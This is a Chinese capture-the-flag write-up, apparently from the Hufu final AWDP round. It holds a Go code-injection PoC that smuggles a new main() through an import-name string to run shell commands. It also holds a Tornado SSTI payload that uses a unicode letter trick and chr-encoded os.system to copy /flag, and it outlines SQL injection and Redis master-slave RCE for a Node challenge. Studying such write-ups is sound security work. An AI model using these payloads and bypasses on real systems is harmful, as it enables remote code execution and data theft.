虎符决赛awdp
go
题目源码:
package goeval
import (
"fmt"
"go/format"
"math/rand"
"os"
"os/exec"
"strings"
"time"
)
const (
letterBytes = "abcdefghijklmnopqrstuvwxyz"
letterIdxBits = 6 // 6 bits to represent a letter index
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
)
var (
dirSeparator = "/"
tempDir = os.TempDir()
src = rand.NewSource(time.Now().UnixNano())
)
// 参考: https://colobu.com/2018/09/02/generate-random-string-in-Go/
func RandString(n int) string {
b := make([]byte, n)
// A src.Int63() generates 63 random bits, enough for letterIdxMax characters!
for i, cache, remain := n-1, src.Int63(), letterIdxMax; i >= 0; {
if remain == 0 {
cache, remain = src.Int63(), letterIdxMax
}
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
b[i] = letterBytes[idx]
i--
}
cache >>= letterIdxBits
remain--
}
return string(b)
}
func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
var (
tmp = `package main
%s
%s
func main() {
%s
}
`
importStr string
fullCode string
newTmpDir = tempDir + dirSeparator + RandString(8)
)
if 0 < len(imports) {
importStr = "import ("
for _, item := range imports {
if blankInd := strings.Index(item, " "); -1 < blankInd {
importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
} else {
importStr += fmt.Sprintf("\n\"%s\"", item)
}
}
importStr += "\n)"
}
fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)
var codeBytes = []byte(fullCode)
// 格式化输出的代码
if formatCode, err := format.Source(codeBytes); nil == err {
// 格式化失败,就还是用 content 吧
codeBytes = formatCode
}
// fmt.Println(string(codeBytes))
// 创建目录
if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
return
}
defer os.RemoveAll(newTmpDir)
// 创建文件
tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
if err != nil {
return re, err
}
//defer os.Remove(tmpFile.Name())
// 代码写入文件
tmpFile.Write(codeBytes)
tmpFile.Close()
// 运行代码
cmd := exec.Command("go", "run", tmpFile.Name())
res, err := cmd.CombinedOutput()
return res, err
}
main函数的功能我简要缩减得如此:
if match {
fmt.Print("Hacker????")
return
} else {
if res, err := eval.Eval("", "fmt.Print("+expression+")", Package); nil == err {
fmt.Println(string(res))
} else {
fmt.Println("Error")
fmt.Print(err)
}
}
基本就是expression和Package是可控的,他的eval使用实现一个main.go 文件并且运行来实现的,expression限制了严格的内容,但是Package没有,我们希望从这里实现代码逃逸。注意Package里面不要用空格,用换行来截断。
POC:
Package := "os/exec\"\n\"fmt\")\nfunc\nmain()\x09{cmd:=exec.Command(\"ls\",\"-l\",\"/\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))/*"
expression := "*///"
python
一个torando的SSTI 利用了repr(request) 获取请求内容 并且eval执行命令。这个利用 unicode绕一下就可以了
payload = r"__import__('os').system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(32)+chr(62)+chr(32)+chr(47)+chr(97)+chr(112)+chr(112)+chr(47)+chr(115)+chr(116)+chr(97)+chr(116)+chr(105)+chr(99)+chr(47)+chr(104)+chr(97)+chr(104)+chr(97)+chr(49)+chr(46)+chr(116)+chr(120)+chr(116))"
burp0_data = {"tornado": "{{ᵉval(rᵉpr(rᵉquest)[117:"+ str(117 + len(payload)) +"])}}"}
node
前面是一个replace的应用。利用$ 弄出来双引号用来sql语句的逃逸 实现注入。
后面是一个改/etc/hosts访问 secret那个chat为题目地址。然后进入聊天室发现可以操作 redis。主从复制RCE即可,